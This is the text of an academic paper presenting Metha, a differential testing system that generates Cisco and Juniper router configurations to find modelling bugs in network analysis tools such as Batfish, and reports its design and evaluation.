Metha We introduce Metha, a system that thoroughly tests network analysis and verification tools to find subtle bugs in their network models using black-box differential testing. Metha automatically finds model discrepancies by generating input configurations and comparing the output of the tool under test with the output produced by the actual router software. For every discovered discrepancy, Metha provides a minimal configuration that helps developers pinpoint the bug. Later on, these configurations can be used to build up an adequate test suite for current and future network tools.
Challenges Precisely identifying bugs in network analyzers’ models is challenging for at least three reasons. First, the search space of possible configurations is gigantic: there are hundreds of configuration statements, each of which can take many possible parameters. And yet, as our analysis reveals, most of the bugs only manifest themselves when specific configuration statements/values are present. Second, systematically exploring the search space is highly non-trivial (independently of its size) as one not only needs to generate syntactically-valid configurations, but also semantically-valid ones that involve all features and their interactions. Failing to do so could lead to miss bugs, hence lowering coverage.
Finally, upon finding a configuration triggering a discrepancy, figuring out the exact subset of statements requires to solve another tricky combinatorial search.
**Insights** Metha addresses the above challenges by first reducing the search space through restricting the parameters to their boundary values. Metha ensures thorough coverage of the search space by phrasing the search as a combinatorial testing problem and targeting the search towards single and pairwise interactions of configuration statements. To ensure syntactically- and semantically-valid configurations Metha relies on a hierarchical grammar-based approach. Finally, Metha employs delta debugging to identify the minimal bug-inducing set of configuration statements to help the developer better understand and reproduce the bug.
**Bugs found** We demonstrate Metha’s effectiveness in practice by finding 62 real-world bugs across three popular network analysis and verification tools – Batfish [17], NV [13], and C-BGP [28] – 59 of which have been confirmed by the tools’ developers. The majority of the discovered bugs are subtle, silent bugs that undermine the soundness of the tools’ results. That is, they could lead operators to incorrect conclusions that their networks behave correctly, while, in fact, they do not.
Our experiments also demonstrate that Metha’s key components are essential for its effectiveness. In particular, a random baseline only found 3 bugs, while Metha found 20 bugs with the same number of tests. Last but not least, through our interactions with the tools’ developers, we confirm that Metha’s minimal configuration examples are indeed useful: some of the developers are already using them to analyze and fix the bugs Metha has discovered.
**Contributions** In summary, our main contributions are:
- A testing system capable of finding bugs in the network models of state-of-the-art network analyzers (§3).
- A formulation of the search problem in terms of combinatorial testing (§5).
- A precise localization procedure relying on delta debugging to isolate bugs and pinpoint the configuration statements causing them (§6).
- An end-to-end implementation of Metha1 supporting both Cisco IOS and Juniper configurations (§7).
- An evaluation showing that Metha finds real (and unknown) bugs in all the tested tools (§8).
**Limitations** Metha treats the network verification tool it is testing as a black box. Hence, it cannot localize the bug within the tool’s actual code. This task is left to the developer. However, by identifying the configuration statements responsible for the bug and by creating a minimal configuration that showcases it, the developer has a good starting point for her work. Similarly, Metha cannot detect whether two observed bugs that are triggered by different configuration statements are caused by the same bug in the underlying network model.
---
1Available at https://github.com/nsg-ethz/Metha
---
**2 Motivation**
We now illustrate how subtle bugs in the network model of network analyzers can lead operators to deploy erroneous configuration changes. We start with two case studies on common configuration features known for easily causing forwarding anomalies: route aggregation and redistribution. In these situations, validating the change with an analyzer is of utmost importance, provided the analysis is correct. We end with a collection of Cisco IOS configuration statements whose semantics were not correctly captured by Batfish [17]. The bugs in this Section were discovered by Metha.
**2.1 Example 1: Excess Null Route**
Consider the network in Fig. 1. It consists of a backbone with multiple zones attached to it. The backbone and the zones are interconnected using BGP. Each zone receives a default-route from the backbone. Zone 51 hosts critical infrastructure in the prefix 200.51.0.0/24, which should not be accessible from any other zone. To enforce this, the routers connecting the zones to the backbone have an access-list (ACL) in place to filter that traffic. However, in zone 10, this ACL was forgotten and, instead, there happens to be a left-over statement from a previous configuration: “aggregate-address 128.0.0.0 128.0.0.0 128.0.0.0”. This statement directs the router to advertise the specified aggregate route if any more-specific BGP routes in that range exist in the routing table.
**Property violation** Due to the lack of an ACL on the border router, the requirement that mandates to keep zone 51 isolated is violated: traffic from zone 10 can reach zone 51.
**Analyzer mishap** When used on the network above, Batfish, a recent network validation tool, will falsely assert that zone 51 is isolated. The problem is due to the semantics of the left-over aggregate-address statement. Batfish wrongly activates the aggregate because of a non-BGP route in the routing table and installs the null route. Because of this null route, Batfish wrongly assumes that all traffic in zone 10 falling within the aggregate range will be dropped. In practice, the routers only install a null route if a BGP route within the aggregate is present, which is not the case here.
Table 1: A selection of Cisco IOS configuration features that are not correctly modelled by Batfish [17] as discovered by Metha.
<table>
<thead>
<tr>
<th>Feature</th>
<th>Description</th>
<th>Possible Consequence</th>
</tr>
</thead>
<tbody>
<tr>
<td>max-metric router-lsa</td>
<td>The model sets maximum metric not only for point-to-point links, but also for stub links. This should only be done when the keyword include-stub is used.</td>
<td>A router might appear to be free of traffic and safe to reboot, even though it is not.</td>
</tr>
<tr>
<td>default-information originate</td>
<td>The OSPF routing process should only generate a default-route if the route table has a default-route from another protocol. The model, however, also announces a default-route if there is one in the routing table of different OSPF type, i.e., E1 type.</td>
<td>Additional default-routes might appear in the routing tables.</td>
</tr>
<tr>
<td>distance XX</td>
<td>The model does not consider any changes to the administrative distance.</td>
<td>The forwarding state could be completely wrong.</td>
</tr>
<tr>
<td>area X range A.B.C.D/Y</td>
<td>When summarizing routes between OSPF areas, the model does not insert a null route for the summary to prevent routing loops.</td>
<td>A routing loop could be falsely detected.</td>
</tr>
<tr>
<td>set community no-export</td>
<td>When redistributing a static route into BGP and setting the no-export community, the model still advertises the route to its eBGP neighbors.</td>
<td>Reachability properties could be falsely asserted.</td>
</tr>
<tr>
<td>neighbor A.B.C.D maximum-prefix X</td>
<td>Even when a BGP neighbor advertises more prefixes than the specified threshold, the model does not drop the peering to the neighbor.</td>
<td>Reachability properties could be falsely asserted.</td>
</tr>
</tbody>
</table>
Figure 2: All routers should be able to reach the Internet. The static route at R2 creates a blackhole and violates that.
2.2 Example 2: Incomplete Redistribution
Consider the small company network depicted in Fig. 2. It consists of a single OSPF area. R1 acts as Internet gateway and announces a default-route internally. A static route on R2 drops all the traffic for 200.0.0.0/20 by directing it to the null interface. This is intended. What is not intended, however, is the redistribute static command at R2.
**Property violation** The following reachability property must always hold: all routers, with the exception of R2, are able to reach the entire Internet. However, this property is violated since R2 redistributes the static route in the network and, in turn, creates a blackhole for 200.0.0.0/20.
**Analyzer mishap** When run on this network, Batfish will falsely attest that all routers, with the exception of R2 can reach the entire Internet. The problem is the redistribution command. By default, Cisco routers only redistribute classful networks [7] and only by specifying the subnets keyword, they also redistribute any subnets of them. Less-specific networks however are redistributed regardless of the subnets keyword (e.g., 200.0.0.0/20 is less-specific than the corresponding class C network 200.0.0.0/24). Batfish’s network model does not incorporate that as it only redistributes classful networks and not less-specific networks.
2.3 Selection of Bugs
In addition to the two bugs illustrated in the previous examples, we found several other configuration statements that trigger bugs. We present a selection of them in Table 1 alongside a short description of the observed behavior and possible consequences. All of the presented bugs concern Cisco IOS configuration statements. In our tests, we also used Juniper configurations and found that, in many cases, the same bugs occur. Hence, some of these bugs are not due to vendor-specific behaviors, but due to general inaccuracies of the network model.
3 Overview
In this section, we first present the key insights enabling Metha to efficiently uncover bugs in network analyzers. Then, we provide a high-level overview of Metha.
3.1 Key Insights
The main challenge in testing network analyzers is that bugs may occur rarely and only for very specific configurations, which we address with a combination of five insights:
### Producing valid inputs with grammar-based generation
When testing network analyzers, it is of utmost importance to use syntactically- and semantically-valid configurations, meaning the configurations need to be parseable and constraints have to be met such that actual computation takes place in the network. Our key insight is to use a hierarchical grammar-based approach. Approaching it hierarchically allows to resolve the intra- and inter-device constraints. This provides the structure that is then completed using grammar-based configuration generation ensuring syntactical validity.
### Reducing the search space through boundary values
The search space of all possible configurations is prohibitively large. Even a single parameter, such as an OSPF cost, for example, already has $2^{16}$ possible values to test. By focusing the testing on the boundary values (the minimum, maximum, and a normal value), we reduce the search space significantly.
### Exploring the search space with combinatorial testing
Network devices support a wide variety of configuration features that all need to be tested not just by themselves, but also their interactions. Hence, we use combinatorial testing to design a test suite that systematically covers all pairwise interactions of configuration features.
### Comparing the tested tool’s output to ground truth
Detecting crash bugs is straightforward as the tool will just fail or report an error. Silent bugs, on the other hand, can only be detected by comparing the output to a ground truth, which is hard to come by. We address this by leveraging a testbed running real router images as an oracle.
### Isolating bugs with delta debugging
Lastly, once one identifies a network configuration that triggers a bug, one needs to identify the configuration statements causing it to provide any useful insights to the tool’s developer. Therefore, we use iterative delta debugging to obtain a minimal configuration example reproducing the bug.
### 3.2 Metha
Metha operates in two phases as shown in Fig. 3: First, it aims to find network configurations exhibiting discrepancies between the tool under test and the oracle. To that end, the test coordination determines all the tests to run in the testbed. Second, it identifies the configuration statements responsible for the observed discrepancies through fault localization.
**Input and output** Metha takes two inputs: (i) a physical topology, i.e., an undirected graph; and (ii) a set of configuration features to be tested, such as, route-maps, and route-summarization. For every discovered bug, Metha creates a report, which consists of the identified discrepancy between the routing tables of the tool and the oracle, the configuration statements causing it and a configuration set to reproduce it.
**Phase I: Test coordination** The configuration features and the topology provided as input define the search space of Metha’s testing efforts which consists of all possible configurations that can be built using these features. This search space of network configurations is prohibitively large. Therefore, Metha first reduces the values of all parameters to their boundary values, which means it only uses the two extreme values (i.e., the minimum and the maximum) and one “normal” value. Even with this reduction, it is difficult to systematically cover the search space. Hence, Metha creates a test suite relying on combinatorial testing, which allows it to cover all pairs of feature and parameter combinations requiring a minimal number of tests. Each test in the test suite is a set of configuration statements that should be active.
**Phase I: Testbed** For every single test, Metha generates the device configurations based on the statements as defined by the test suite. Then, it runs these configurations in the tool and the oracle. Once both converged, Metha analyzes the routing tables of the two tools and reports any discrepancies.
Phase II: Fault localization ($\S$6) A discovered discrepancy can be caused by multiple bugs in the network analyzer. Therefore, Metha applies delta debugging to identify every single bug and the configuration statements causing it. It does so by iteratively testing subsets of the active configuration statements until the entire discrepancy is resolved.
4 Search Space
In this section, we define the search space of all possible configurations. We also show how we reduce the search space by restricting the parameter values used in configuration statements to boundary values.
4.1 Network Configurations
The search space is given by all possible configurations that one can deploy at the network’s routers.
**Configurations** A device configuration defines the enabled features along with their parameter values. Formally, the set of all possible configurations is defined by a context-free grammar whose terminals consist of feature names and parameter values. To illustrate this, in Fig. 4 we show a subset of the production rules in Backus-Naur form (BNF). An example configuration derived from this grammar is:

This configuration defines the AS identifier, neighbors, neighbor properties, and route redistribution associated with the BGP routing process 100. Here, router bgp, redistribute, neighbor A.B.C.D remote-as, and neighbor A.B.C.D route-map are configuration statements, while the values to the right define their parameter values. We distinguish three types of parameter values:
**Keywords** are used in configuration statements parameterized by a value drawn from a fixed set of options. For example, the configuration statement `neighbor A.B.C.D route-map` is parameterized by a direction, which is set to either in or out. For some statements, one can also omit the parameter value altogether, which we model with the designated value $\emptyset$. For example, redistribute connected is parameterized by a value drawn from the set \{$\emptyset$, subnets\}, and so both redistribute connected and redistribute connected subnets are valid statements.
**Integers** are used to define 16- and 32-bit numbers. For example, the configuration statement `router bgp` is parameterized by a 16-bit integer defining the AS number.
**Strings** are used in configuration statements parameterized by custom names. For example, `neighbor A.B.C.D` route-map is parameterized by the route-map’s name.
**Semantic constraints** Besides conforming to the syntax in Fig. 4, configurations must also comply with semantic constraints. For example, consider the following configurations:
```
1 interface FastEthernet0/0
2 ip address 1.1.1.1 255.255.255.0
3 !
4 router bgp 100
5 neighbor 1.1.1.2 remote-as 50
6 neighbor 1.1.1.2 route-map map10 out
7 !
8 route-map map10 permit 10
9 match ip address prefixList
```
```
1 interface FastEthernet0/0
2 ip address 1.1.1.2 255.255.255.0
3 !
4 router bgp 50
5 neighbor 1.1.1.1 remote-as 100
```
The top configuration ($C_1$) defines a BGP process with AS number 100 (Line 4), and declares that announcements sent to its BGP neighbor with IP 1.1.1.2 (Line 5) are processed using route-map map10 (Line 6). The bottom configuration ($C_2$) defines a BGP process with AS number 50 (Line 4), and declares 1.1.1.1 in AS 100 as a neighbor (Line 5). These two configurations illustrate two kinds of semantic constraints:
**Intra-device constraints**, which stipulate conditions that must hold on any (individual) configuration. For example, the route-map map10 used at Line 6 must be defined within the configuration $C_1$. This constraint holds as map10 is defined at Line 8.
**Inter-device constraints**, which stipulate conditions across multiple configurations. For example, the AS number assigned to neighbor 1.1.1.2 in $C_1$ at Line 5 must match the AS number declared in $C_2$ at Line 4. This constraint holds as at both lines the AS number is 50.
Finally, we note that we specify the semantic constraints separately from the syntactic production rules as some are not context-free and thus cannot be encoded in the grammar.
4.2 Boundary Values
The search space is extremely large due to the enormous number of configurations and the exponentially many combinations in which they can be deployed at the routers. To cope with the large set of configurations, we apply a boundary values reduction by restricting the parameters to a small set of representative values. The intuition behind this reduction is that most parameter values lead to the same behavior such that testing them individually provides no additional insights.
The reduction to boundary values ensures that various behaviors of a feature are exercised. For example, the Cisco BGP feature neighbor X.X.X.X maximum-prefix n terminates the session when the neighbor announces more than n prefixes. When randomly choosing n, the feature will most likely not come into action. However, with the boundary values, both the minimum and maximum value are tested, ensuring that the feature is at least once active and once not.
For integer parameters, the values are restricted to: the maximum value, the minimum value, and a non-boundary value. For example, for 16-bit integers, which contain all integers in the range [0, 65535], our boundary value reduction selects three values: 0, 65535, and a value x such that 0 < x < 65535. Similarly, we reduce the values assigned to string parameters by predefining a fixed set of strings.
5 Effective Search Space Exploration
Metha must cover a wide variety of different network configurations to thoroughly test the tool, including many combinations of device features and parameter values. The key challenge is that it is impossible to iterate through every single combination of features and their respective parameter values, even after considering our reduction to boundary values. To address this, Metha relies on combinatorial testing [16, 20], which is able to uncover all bugs involving a small number of interacting features. In the following, we first provide relevant background on combinatorial testing, and then we show how Metha uses it to effectively test network tools.
5.1 Combinatorial Testing
Combinatorial testing is a black-box test generation technique which is effective at uncovering interaction bugs, i.e., bugs that occur because of multiple interacting features and their parameter values. The main assumption behind combinatorial testing is that interaction bugs are revealed by considering a small number of features and parameter values. In this case, one can generate a test suite, called combinatorial test suite, that uncovers all such bugs.
To use combinatorial testing, one needs to define a specification of the system’s parameters and their values:
**Definition 1** (Combinatorial specification). A combinatorial specification $S$ is a tuple $(P, V, \Delta)$, where $P$ is a set of parameters, $V$ is a set of values, and $\Delta: P \rightarrow 2^V$ defines the domain of values $\Delta(x) \subseteq V$ for any parameter $x \in P$.
For example, the combinatorial specification for a program that accepts three boolean flags as input has parameters $P = \{a, b, c\}$, values $V = \{0, 1\}$, and domains $\Delta(a) = \Delta(b) = \Delta(c) = \{0, 1\}$. A test case is a total function $tc: P \rightarrow V$ mapping parameters to values from their respective domains, i.e., with $P(x) \in \Delta(x)$ for any $x$. An example test case for our program is $tc = \{a \mapsto 0, b \mapsto 0, c \mapsto 1\}$. In contrast to test cases, a $t$-wise combination maps only some parameters to values:
**Definition 2** ($t$-wise combination). Given a combinatorial specification $S = (P, V, \Delta)$, a $t$-wise combination for $S$ is a function $c: Q \rightarrow V$ such that $Q \subseteq P$ with $|Q| = t$ and $c(x) \in \Delta(x)$ for any $x \in P$.
An example pairwise combination (i.e., $t = 2$) for our example is $c = \{a \mapsto 0, b \mapsto 0\}$. We write $C_t^P$ to denote the set of all $t$-wise combinations for a given combinatorial specification $S$. Note that a test case can cover multiple $t$-wise combinations:
$$comb_t(tc) = \{c \subseteq tc \mid |c| = t\}$$
For instance, our example test case above covers the following three pairwise combinations: $\{a \mapsto 0, b \mapsto 0\}, \{a \mapsto 0, c \mapsto 1\}$, and $\{b \mapsto 0, c \mapsto 1\}$.
**Definition 3** ($t$-wise combinatorial coverage). Given a combinatorial specification $S$, we define the $t$-wise combinatorial coverage of a test suite $T$ as:
$$cov_t(T) = \frac{|\bigcup_{c \in T} comb_t(tc)|}{|C_t^P|}.$$
A test suite $T$ is called a $t$-combinatorial test suite if $cov_t(T) = 1$. If the assumption that interaction faults are caused by up to $t$-wise interactions holds, then $T$ finds all bugs. The goal of combinatorial testing is to generate the smallest $t$-wise combinatorial test suite.
5.2 Combinatorial Testing of Configurations
In Metha, we apply pairwise combinatorial testing to the generation of network configurations. Concretely, we phrase the search space defined in §4 as a combinatorial specification $S = (P, V, \Delta)$ as follows. First, each statement that can appear in the configuration, such as route redistribution or route-map as defined in §4, defines a configuration feature. We set $P$ to be the set of all configuration features. The set of parameters $P$ is then given by $R \times F$, where $R$ is the set of routers. Namely, the parameters consist of all configuration features one can define in the device configurations.
Second, the domains of values for each configuration feature contain the boundary values that can be used in the given configuration statement, along with the designated value $\perp$, which indicates whether the configuration feature is enabled or not. That is, $\perp$ results in omitting the configuration statement altogether. We note that for configuration statements with multiple parameters, we take the product as the domain of possible values. For example, the Cisco OSPF configuration feature default-information originate has three optional parameters: always, metric combined with an integer value, and metric-type combined with 1 or 2. After reduction to boundary values this leads to the following three parameters:
$$A = \{\perp, \text{always}\}$$
$$B = \{\perp, \text{metric 1, metric 100, metric 1677214}\}$$
$$C = \{\perp, \text{metric-type 1, metric-type 2}\}$$
The domain of values for this configuration feature is then given by $\{\perp\} \cup (A \times B \times C)$.
Finally, Metha uses the above combinatorial specification to derive a test suite of configurations that covers all pairwise combinations.
6 Fault Localization
A discovered discrepancy between the network model and the oracle is only of limited use as the developer still needs to isolate its cause. Often understanding the bug is the most time-consuming part of the debugging process, and fixing it can be done relatively quickly. To help with this, Metha pinpoints the configuration features that cause a discrepancy and finds a minimal configuration, i.e., a configuration with as few configuration features enabled as possible. To do this, Metha uses iterative delta debugging, an extended version of classic delta debugging, which lifts the assumption that a single fault causes failures. This extension is important as network configurations are large and complex, and discrepancies are often caused by multiple faults. In the following, we first introduce classic delta debugging and then present its iterative extension.
6.1 Delta Debugging
Delta debugging [35] is a well-established fault localization technique, which finds minimal failure-inducing inputs from failing test cases. Below, we present delta debugging in our context, and then define its assumptions and algorithmic steps.
**Terminology** As defined in §5, a test case $tc$ assigns configuration features $F$ to either parameter values or $\perp$, where $\perp$ indicates that a given feature is disabled (i.e., it is omitted from the configuration). Given a test case $tc$ and features $Q \subseteq F$, we write $tc|_Q$ for the test case obtained by disabling all features in $tc$ that are not contained in $Q$:
$$tc|_Q(f) = \begin{cases}
tc(f) & \text{if } f \in Q \\
\perp & \text{otherwise}
\end{cases}$$
Given a failing test case $tc$, the goal of delta debugging is to find the minimal set $Q$ of features such that $tc|_Q$ fails. We denote the complement of $Q$ by $\bar{Q} = F \setminus Q$.
**Assumptions** Delta debugging relies on three assumptions:
(i) test cases are monotone, i.e., if $tc|_Q$ fails, then for any superset $Q' \supseteq Q$ of features $tc|_{Q'}$ also fails;
(ii) test cases are unambiguous, meaning that for a failing test case $tc$ there is a unique minimal set $Q$ that causes the failure; and
(iii) every subset of features is consistent, meaning that for any $Q \subseteq F$, $tc|_Q$ terminates with a definite fail or success result.
**Algorithm** Given a test case $tc$, delta debugging finds a minimal set of features $Q$ that causes a failure. Initially, $Q$ contains all enabled features in $tc$, i.e., $Q = \{ f \in F \mid tc(f) \neq \perp \}$. Then it applies the following steps:
1. **Split**: Split $Q$ into $n$ partitions $Q_1, \ldots, Q_n$, where $n$ is the current granularity. Test $tc|_{Q_1}, \ldots, tc|_{Q_n}$ for failures. If some $tc|_{Q_i}$ fails, then use $Q_i$ as the new current set of features and continue with step 1.
2. **Complement**: If none of the new tests $tc|_{Q_1}, \ldots, tc|_{Q_n}$ fail, check the complement of each partition by testing $tc|_{\bar{Q}_1}, \ldots, tc|_{\bar{Q}_n}$. If some $tc|_{\bar{Q}_i}$ fails, then use $\bar{Q}_i$ as the new current set of features and continue with step 1.
3. **Increase Granularity**: If no smaller set of features is found and $n < |Q|$, then set $n$ to $\min(2n, |Q|)$ and continue with step 1.
4. **Terminate**: If it is not possible to split the current set of features into a smaller set, terminate and return $Q$.
6.2 Iterative Delta Debugging
In our setting, test cases are often ambiguous as a discrepancy often arises due to multiple faults in the network model. To this end, we apply the delta debugging algorithm iteratively and find all minimal sets of features that cause a given discrepancy. Intuitively, starting with a test case $tc$ with enabled features $Q$, we first apply the delta debugging steps (given
in §6.1) to find a minimal configuration feature set \( Q' \) such that \( tc|_Q \) triggers the discrepancy. Then, we generate new test cases \( tc_1, \ldots, tc_\|Q\| \), by disabling a feature from \( Q \) in each new test case \( tc_i \), and iteratively apply delta debugging to these. We apply this process repeatedly until no further failing test cases are found. Once \textsc{Metha} identifies all minimal sets of configuration features that trigger a given bug, \textsc{Metha} creates a minimal configuration for the developer to reproduce it.
We present our iterative delta debugging algorithm in Algorithm 1. We start from a set of initially enabled features \( Q \) in \( tc \) and return all minimal subsets of \( Q \) that trigger a discrepancy. We keep all sets of features to be checked in a queue and continue until the queue is empty (Line 2 - Line 4). For example, if we find a minimal set of features \( Q \subseteq H \) of features that triggers the discrepancy using classic delta debugging, and create new subsets that need to be checked (Line 8, Line 9). For example, if we find a minimal set of features \( Q = \{a, b\} \) that triggers the discrepancy, then we check if there are any other minimal sets of features that do not contain \( a \) or \( b \) (and are thus non-comparable to \( Q \)). We note that we generate two new sets of features \( H \setminus \{a\} \) and \( H \setminus \{b\} \) instead of a single one \( H \setminus \{a, b\} \) because there may be overlapping discrepancies. For example, even though we know that \( b \) can trigger a discrepancy with \( a \), \( b \) might also trigger a discrepancy with another feature \( c \). Finally, the algorithm keeps all found minimal feature subsets and returns them (Line 10, Line 11). We conclude by stating the correctness of our algorithm:
\textbf{Theorem 1.} For any test case \( tc \) with enabled features \( Q \), Algorithm 1 finds all minimal fault-inducing subsets of features.
We present the proof of this theorem in App. A.
\textbf{Runtime} The running time of Algorithm 1 is \( O(|Q|!) \). The worst-case behavior is when the size of the set \( H \) of features is reduced by 1 element in each step, introducing \(|H - 1|\) new features sets to the set \( S \). To improve the running time, we cache (not shown in Algorithm 1) feature sets that have been added to the queue. This strictly reduces the algorithm’s running time and yields a worst-case running time complexity of \( O(2^{|Q|}) \). We note that the running time in practice is reasonable as the reduction of the set \( H \) by the delta debugging minimization step (Line 7) is significant (down to \( 2 - 3 \) elements in practice).
\textbf{Limitations} As with classic delta debugging, there may be a fault in the interaction between a set of parameters, say \( a, b, \) and \( c \), as well as a different fault in the interaction between a subset of these parameters, say \( a \) and \( b \). We cannot distinguish these two faults and will only identify the latter fault. However, once the identified fault is fixed, our algorithm will then identify the fault in the interaction among \( a, b, \) and \( c \) as well, assuming it is still present in the verification tool.
\section{System}
We have fully implemented \textsc{Metha} in 7k lines of Python code.\footnote{Available at \url{https://github.com/nsg-ethz/Metha}} This covers the entire testing pipeline from the input, the list of configuration features to be tested and the topology, to the outputs, the bug reports. In the following, we highlight key points of \textsc{Metha}’s implementation, which consists of a vendor- and tool-agnostic core that uses runners to interface with the different network analysis and verification tools.
\textbf{Semantic constraints} To run the tests, \textsc{Metha} uses a logical topology, which consists of the physical topology extended with logical groupings. These groupings map the routers to BGP ASes and their interfaces to OSPF areas. This trivially ensures that the base configuration meets all the necessary semantic constraints (cf. §4.1). In a next step, \textsc{Metha} starts to randomly assign IP subnets to links and IP addresses to the router interfaces on these links. Specifically, every router is assigned a router ID, which is also assigned to the loopback interface of that router. Finally, \textsc{Metha} generates additional resources that are needed to test specific configuration features. For example, \textsc{Metha} adds several prefix-lists and static routes which can then be used in the test generation, for example, for a match statement of a route-map and route redistribution, respectively. All these additional resources are generated based on the predefined logical topology. Hence, a prefix-list, for example, will only consist of prefixes that are actually defined in the network, such that a route-map statement using that list for a match will also be reachable.
\textbf{Testing coordination} Once \textsc{Metha} laid the groundwork, it has to define a test strategy based on the specified configuration features. At the moment, \textsc{Metha} supports configuration features pertaining to four categories: static routes, OSPF, BGP and route-maps. As part of that, the system supports additional constructs such as prefix-lists and community-lists. These are currently not tested on their own, but added when needed to test the main features, such as route-maps. \textsc{Metha}
then uses all features and the logical topology to prepare the parameters to come up with the test suite. To do that, Metha passes all the parameters and their possible values to a state-of-the-art combinatorial testing tool: PICT [25]. PICT devises a test suite that consists of a set of tests ensuring complete coverage of all pairwise feature interactions.
**Configuration generation** A single test from the PICT test suite is an abstract network configuration. It simply specifies which feature and corresponding value needs to be activated and where (i.e., on which router and, if applicable, at which interface). Metha then translates the abstract network configuration to concrete device configurations using a grammar-based approach to ensure lexical and syntactical validity.
Metha implements a large portion of both Cisco IOS and Juniper grammars for which we relied on the respective official command references. This means Metha can generate both Cisco IOS and Juniper configurations for the tests. Metha even supports to test hybrid networks in which devices of both vendors are used at the same time.
**Testbed** Metha runs the generated configurations in parallel on both the tool under test and the oracle. After both of them converged, it retrieves the routing tables and compares them. Metha is able to test any tool that takes the device configurations as inputs and provides direct access to the computed routing tables out-of-the-box. Otherwise, Metha uses tool-specific runners to process the inputs such that they meet the tool’s requirements and map the output back to Metha’s format. Metha comes with runners for three well-known network analysis and verification tools: Batfish [17], NV [13] and CBGP [28]. For NV, for example, Metha first has to compile the simulation program from the network configurations. As a source of ground truth, Metha uses a virtualized network running real device images of both Cisco and Juniper routers. It connects to these devices over Telnet and retrieves the routing tables (e.g., `show ip route` for Cisco devices). To ensure full convergence, Metha retrieves the routing tables every 10 seconds and proceeds once the tables have not changed for ten consecutive checks. With this setup, Metha allows to freely choose any oracle (e.g., hardware testbed) as long as it exposes the computed routing tables.
**Output** Finally, Metha localizes all bugs within a discovered discrepancy by relying on delta debugging. For every single bug, it generates a report highlighting the observed difference in the routing tables of the tool under test and the oracle, such as a mismatch in a route’s metric or a missing route. This helps the developer understand the expected behavior. In addition, it identifies the configuration statements required to trigger the bug and comes up with a minimal network configuration to reproduce the bug. This allows Metha to provide actionable feedback to the developers of the tool, helping them to faster locate and understand the bug. The minimal configuration example can also be used as an extra test case for traditional system testing.
## 8 Evaluation
In this section, we evaluate Metha to address the following research questions:
**RQ1** How does Metha’s semantical configuration generation, the search space reduction using boundary values and the test suite from combinatorial testing contribute to Metha’s effectiveness? We show that Metha finds 20 bugs and achieves a higher combinatorial coverage than the random baseline, which only discovers 3 bugs with the same number of tests.
**RQ2** How many test cases does Metha need to localize all bugs in a single discrepancy between the tool under test and the oracle? Metha requires on average 14.1 test cases to isolate all the bugs causing a discrepancy.
**RQ3** Is Metha practical? We ran Metha on three different state-of-the-art network analysis and verification tools and found a total of 62 bugs, 59 of them have been confirmed by the respective developers.
### 8.1 Comparison to Random Baseline
We begin our evaluation by studying how the three components of Metha contribute to its effectiveness. To this end, we compare a random baseline to three versions of Metha: step-by-step, we enable each component starting with semantic Metha, then we add the reduction to boundary values, and finally, we use full Metha using combinatorial testing to define a test suite. The results show that the semantical configuration generation is the most fundamental part of Metha. Reducing the parameters to boundary values and applying combinatorial testing help to find additional bugs as both manage to increase the combinatorial coverage.
In the following, we introduce the four approaches:
**Random baseline** The random baseline relies on random syntactic test generation, meaning it uses a traditional grammar-based fuzzing approach. Thanks to the grammar, the configurations generated by the baseline are lexically- and syntactically-valid, but they are not necessarily semantically-valid: the baseline generates device configurations that are parseable and look realistic. However, the configurations might not always be practical: for example, referenced route-maps and prefix-lists do not always exist, and IP addresses on interfaces might not match those of their neighbors. Inter- and intra-device dependencies are not factored in.
**Semantic Metha** The initial Metha approach implements random semantic test generation. Similar to the random baseline, it uses a grammar-based fuzzing approach with the only difference that it ensures semantical validity within the configuration: while, for example, interface costs are completely random, other values are more constrained based on inter- and intra-device dependencies. This approach ensures, for example, that only defined route-maps are referenced, and that BGP sessions are configured with matching parameters.
This means instead of assigning completely random numeric values, the approach reduces the allowed values to three options: the minimum, the maximum, and a “normal” value, randomly chosen between the two extremes.
**Bounded Metha** The bounded approach adds the reduction to boundary values as introduced in §4.2 to semantic Metha. This means instead of assigning completely random numeric values, the approach reduces the allowed values to three options: the minimum, the maximum, and a “normal” value, randomly chosen between the two extremes.
**Full Metha** Finally, we run the full testing system. We add combinatorial testing as introduced in §5 to define a test suite that maximizes combinatorial coverage on top of the semantic configuration generation and the boundary values reduction.
**Experiment setup** We ran all four approaches for the same number of tests and used them to test Batfish [17]. Whenever one of them detected a discrepancy between Batfish and the oracle, we applied the full fault localization procedure as described in §6 to detect the underlying bugs and the features causing it. Thanks to that, we are able to detect duplicates and count only the unique bugs that each approach discovered.
For all the tests, we used the same simple topology consisting of four routers connected in a star topology and tested configuration features belonging to the following four categories: static routes, BGP, OSPF, and route-maps. For the entire experiment, we used Cisco IOS configurations. For the given configuration features, combinatorial testing generated a test suite consisting of 1 794 tests. While the full Metha approach followed the test suite, the other approaches randomly chose the active configuration statements for every single test.
**Results** Table 2 shows the number of unique bugs that every approach found within the 1 794 test runs. The full Metha detected 20 unique bugs, while the random baseline only found 3 bugs. The semantic configuration generation is the most fundamental component of Metha. It comes as no surprise as without semantical validity, many of the configurations do not allow for any meaningful control plane computations and will not fully exercise the network model of the tool under test.
Boundary values and combinatorial testing allow finding 1 and 3 additional bugs within the 1 794 test runs, respectively. This is because both approaches achieve higher combinatorial coverage and therefore test a wider variety of features. These results show that the boundary values reduction strikes a good balance between testing different parameter values, while keeping the search space tractable. It is important to note that the detected bugs are inclusive, meaning that full Metha detected all 17 bugs that bounded Metha detected and 3 additional bugs. There is one exception: the baseline found a bug in the parser, which the other approaches did not find.
The random baseline is strong at discovering parser bugs since that is where grammar-based fuzzing excels. Two out of its three discovered bugs are parser bugs. In both cases, the problem was an, according to the specification, unsigned 32-bit integer being parsed as signed. For example, ip ospf 180 area 3933914791 could not be parsed. Metha did not catch this bug as it uses fixed area numbers as part of the logical topology. By adding the area numbers to the set of configuration features being tested, Metha also finds this bug.
Fig. 5 shows the combinatorial coverage achieved by the four approaches, i.e., it shows the pairwise feature combinations covered during testing. We focus on feature instead of code coverage for two reasons: First, one can easily achieve high code coverage with random, semantically-invalid configurations. Second, code coverage is specific to the tool under test and makes it difficult to compare. To measure the combinatorial coverage of the random baseline and semantic Metha, we partitioned the input space in the same manner as we did for bounded Metha, i.e., into minimum, maximum, and middle values. Any configuration which did not specifically use the minimum or maximum value for a parameter was then considered as a middle configuration. Metha achieves full combinatorial coverage by design as it is guaranteed by combinatorial testing. These results underline the importance of semantically-valid configurations. While both the random baseline, which relies on syntactically-valid configurations, and semantic Metha achieve a similar combinatorial coverage, semantic Metha finds many more bugs as its configuration actually ensures control plane computations.
